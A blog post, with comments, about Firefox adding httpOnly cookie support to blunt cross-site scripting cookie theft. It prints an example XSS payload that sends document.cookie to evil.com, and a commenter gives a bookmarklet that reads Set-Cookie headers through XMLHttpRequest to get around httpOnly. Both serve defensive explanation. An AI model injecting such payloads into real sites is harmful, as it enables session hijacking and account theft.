Firefox adds httpOnly attribute support!
LinkThanks to Alex for discovering this for you. This is a feature that security people have been waiting for for a long, long time. Only I thought it was going to be much longer before it was available. I'll go over what httpOnly is, why it took so long, and what you should do about it.
Ordinarily, Javascript has access to the cookies that a user sends to a particular website. So you can access those cookies on the page itself from javascript via document.cookie. This is actually rarely necessary, but a handful of sites still use it, so it needs to stay available.
The problem with this is that if a site has a cross-site scripting vulnerability, then an attacker can gather cookies by cross-site scripting. For example, injecting the following script will send the cookies for a site (including session tokens) to evil.com:
document.write("<img src='http://evil.com/foo.png?cookie=" + document.cookie + "'>");
Internet Explorer added support for a cookie attribute in their cookies called httpOnly. By setting the httpOnly flag on cookies, javascript is not allowed direct access to those cookies with the attribute set. This is also why all the TRACE XHR vulnerabilities in IE were such a big deal - TRACE will send the cookies, and the response from TRACE is just text - so javascript has access to the cookies, only they're not cookies in the response - they're just text.
Firefox has been very slow in adding support for this. There was a large discussion about it, and the reason they were slow to add it is because the cookie store would have to be updated to store that information. But there are so many third-party applications that use access to the Firefox cookie store that they couldn't update the format cleanly. Now, that didn't prevent you from being able to use it before - the attribute was just ignored in Firefox.
Now that it's finally available, use it. If you're constructing the Set-cookie headers by hand, you can just add ;httpOnly yourself. If you're not, .NET allows you to set the attribute by configuration, and in some containers can add the attribute to the auto-generated session tokens themselves, or you can use a filter to add it. This will prevent direct access to session cookies in IE and newer versions of Firefox from accessing cookies directly by javascript, which is one of the more serious attacks available by cross-site scripting (clearly not the only one.)
There's a reason why this enhancement has not widely publicized yet.
ReplyDeleteUse this bookmarklet on Alex's test page:
javascript:var%20x%20%3D%20new%20XMLHttpRequest%28%29%3Bx.open%28%22GET%22%2Cdocument.location%2Cfalse%29%3Bx.send%28null%29%3Balert%28x.getAllResponseHeaders%28%29%29%3Balert%28x.getResponseHeader%28%22Set-Cookie%22%29%29
Readable:
var x = new XMLHttpRequest();
x.open("GET", document.location, false);
x.send(null);
alert(x.getAllResponseHeaders());
alert(x.getResponseHeader("Set-Cookie"));
This will be fixed soon, but it's been very wise from Moz devs not to boast too much or recommend too much early half-baked features.
________________________________________
There's a browser safer than Firefox... Firefox, with NoScript
@ma1 - Indeed you're correct - I didn't even bother to go and verify this. And it's not like Mozilla has been in the dark about it - it appears they're adding httpOnly support in a phased approach.
ReplyDeletehttps://bugzilla.mozilla.org/show_bug.cgi?id=380418
I think that just allowing the attribute and remembering it was the major hurdle, however, because of the cookie store format issues. Once W3C, WHATWG, et al make some decisions about how httpOnly should really behave with XHR, I think it won't be long before they get a decent(ish) solution in place.